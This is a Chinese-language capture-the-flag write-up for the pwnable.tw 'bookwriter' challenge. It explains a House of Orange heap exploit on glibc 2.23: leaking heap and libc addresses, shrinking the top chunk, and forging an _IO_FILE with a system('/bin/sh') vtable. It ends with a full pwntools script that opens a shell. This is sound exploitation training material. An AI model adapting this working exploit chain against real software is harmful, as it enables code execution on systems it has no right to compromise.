pwnable.tw bookwriter writeup - house of orange 的巧妙利用

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 思路
  4. 4. 完整脚本

House of Orange 漏洞的利用,程序中没有free函数,但该程序并不像 House of Orange 原题那样可以任意溢出,所以需要攻击者研究新的利用手段,靶机环境是glibc-2.23。

原题地址:https://pwnable.tw/challenge/

源程序和相关文件下载:bookwriter.zip

安全防护

ex@Ex:~/test$ checksec bookwriter
[*] '/home/ex/test/bookwriter'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

其实程序即使开启了 PIE 保护也是不影响该漏洞的利用的。

溢出点

void __cdecl Edit()
{
unsigned int index; // [rsp+Ch] [rbp-4h]

printf("Index of page :");
index = get_uint();
if ( index > 7 )
{
puts("out of page:");
exit(0);
}
if ( ptr[index] )
{
printf("Content:");
read_n(ptr[index], ptr_size[index]);
ptr_size[index] = strlen(ptr[index]);
puts("Done !");
}
else
{
puts("Not found !");
}
}

Edit函数中,ptr_size[index]的值会根据strlen(ptr[index])而更新,如果我们故意不进行null截断的话,那么我们输入的内容就会和下一个chunk的size黏连,也就意味着只能修改下一个chunk的size的堆溢出。

下面是一个简单的泄露点

void __cdecl set_author()
{
printf("Author :");
read_n(author, 0x40u);
}

set_author可以读取长度为0x40的内容,且没有null截断,所以可以泄露出后面ptr的信息。

.bss:0000000000602060 ; char author[64]
.bss:0000000000602060 author db 40h dup(?) ; DATA XREF: set_author+18↑o
.bss:0000000000602060 ; Information+1E↑o
.bss:00000000006020A0 ; char *ptr[8]
.bss:00000000006020A0 ptr dq 8 dup(?) ; DATA XREF: Add+1F↑r
.bss:00000000006020A0 ; Add+A2↑w ...
.bss:00000000006020E0 ; __int64 ptr_size[8]
.bss:00000000006020E0 ptr_size dq 8 dup(?) ; DATA XREF: Add+B1↑w
.bss:00000000006020E0 ; Edit+6C↑r ...

思路

由于没有任意堆溢出,所以这里我们需要利用size的变换来实现漏洞的利用。

  1. 泄露heap地址
Add(0x18, '\n')


sh.sendlineafter('Your choice :', '4')
sh.recvuntil('a' * 0x40)
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0x1020
log.success('heap_addr: ' + hex(heap_addr))
  1. 压缩heap
Add(0x1fdc0, '\n')

先将heap压缩到一个比较好操作的大小。

  1. 修改top_chunk的size ,为了free掉top_chunk
Edit(1, 'b' * 0x18)
Edit(1, 'b' * 0x18 + p16(0x201))
Add(0xff8, 'a' * 0xf0 + p64(0x1300) + p64(0xf00))

在这里原先top_chunk的size为0x1201,然后我们将其修改为0x201。然后当我们再次申请0xff8大小,原先的top_chunk会被freeunsorted bin中。

  1. 伪造 fake chunk , 为了和 unsorted bin 中的 chunk (上面被free掉top_chunk) 对应,以绕过检查
  2. 修改 unsorted bin 中的 chunk (上面被free掉top_chunk)的size,让其下一个chunk刚好为 fake chunk
Add(0xff8, 'a' * 0xf0 + p64(0x1300) + p64(0xf00)) # fake chunk
Edit(1, 'b' * 0x18 + p16(0x1301))

上面两步是一起的,完成这些操作后,heap会被恢复成完整状态,但其实内部已经overlap

完成这两步后的heap状态如下:

pwndbg> heap
0x6aa000 PREV_INUSE {
prev_size = 0,
size = 4113,
fd = 0xa30,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6ab010 PREV_INUSE {
prev_size = 0,
size = 130513,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6cade0 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x6262626262626262,
bk = 0x6262626262626262,
fd_nextsize = 0x6262626262626262,
bk_nextsize = 0x1301
}
0x6cae00 PREV_INUSE {
prev_size = 7089336938131513954,
size = 4865,
fd = 0x7f458d3f0b78 <main_arena+88>,
bk = 0x7f458d3f0b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6cc100 {
prev_size = 4864,
size = 3840,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6cd000 PREV_INUSE {
prev_size = 0,
size = 135169,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
  1. 有 unsorted bin 后可以泄露 main_arena 地址,从而泄露 libc 地址
  2. 将 unsorted bin 压缩到可控范围

上面两步是一起的。

Add(0x1278, 'e' * 8)

View(3)
sh.recvuntil('e' * 8)

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 0x688
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - libc.symbols['__malloc_hook'] - 0x10
log.success('libc_addr: ' + hex(libc_addr))

执行完成后,我们就可以控制 unsorted bin

下面是调试结果:

pwndbg> pr
0x6020a0: 0x00000000008f0020 0x000000000090fdf0
0x6020b0: 0x0000000000911010 0x000000000090fe10
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x000000000001fdc0 0x000000000000001a
0x6020f0: 0x0000000000000ff8 0x0000000000001278
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
pwndbg> unsortedbin
unsortedbin
all: 0x911080 —▸ 0x7f4f5703ab78 (main_arena+88) ◂— 0x911080

可以看出第2个ptr的地址是0x911010而且ptr_size0xff8,其刚好可以控制 unsorted bin0x911080

  1. 构造布局,触发 House of Orange
layout = [
'z' * 0x70,
'/bin/sh\0', p64(0x61),
p64(0), p64(libc_addr + libc.symbols['_IO_list_all'] - 0x10),
p64(2), p64(3),

'z' * 8, p64(0), # vtable
p64(0), p64(libc_addr + libc.symbols['system']),

'z' * 0x70,
p64(0), p64(0),
p64(0), p64(heap_addr + 0x220b0), # vtable_ptr
]

Edit(2, flat(layout))

# pause()
sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('Size of page :', str(8))

这里就是简单的 House of Orange 利用。

完整脚本

由于 House of Orange 受 随机化的影响,成功几率是1/2

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './bookwriter'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10304)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc.so.6')

# Create testorary files for GDB debugging
try:
gdbscript = '''
define pr
x/16gx 0x6020A0
end
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Add(size, content):
sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('Size of page :', str(size))
sh.sendafter('Content :', content)

def Edit(index, content):
sh.sendlineafter('Your choice :', '3')
sh.sendlineafter('Index of page :', str(index))
sh.sendafter('Content:', content)

def View(index):
sh.sendlineafter('Your choice :', '2')
sh.sendlineafter('Index of page :', str(index))

sh.sendafter('Author :', 'a' * 0x40)
sh.sendlineafter('Your choice :', '4')
sh.sendlineafter('(yes:1 / no:0) ', '0')

Add(0x1fdc0, '\n')
Add(0x18, '\n')


sh.sendlineafter('Your choice :', '4')
sh.recvuntil('a' * 0x40)
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0x1020
log.success('heap_addr: ' + hex(heap_addr))

sh.sendlineafter('(yes:1 / no:0) ', '0')

Edit(1, 'b' * 0x18)
Edit(1, 'b' * 0x18 + p16(0x201))
Add(0xff8, 'a' * 0xf0 + p64(0x1300) + p64(0xf00)) # fake chunk
Edit(1, 'b' * 0x18 + p16(0x1301))

Add(0x1278, 'e' * 8)

View(3)
sh.recvuntil('e' * 8)

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 0x688
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - libc.symbols['__malloc_hook'] - 0x10
log.success('libc_addr: ' + hex(libc_addr))

layout = [
'z' * 0x70,
'/bin/sh\0', p64(0x61),
p64(0), p64(libc_addr + libc.symbols['_IO_list_all'] - 0x10),
p64(2), p64(3),

'z' * 8, p64(0), # vtable
p64(0), p64(libc_addr + libc.symbols['system']),

'z' * 0x70,
p64(0), p64(0),
p64(0), p64(heap_addr + 0x220b0), # vtable_ptr
]

Edit(2, flat(layout))

# pause()
sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('Size of page :', str(8))

sh.sendline('echo -n hello')
if(sh.recvn(5) != 'hello'):
raise Exception('no shell')

sh.interactive()
clear()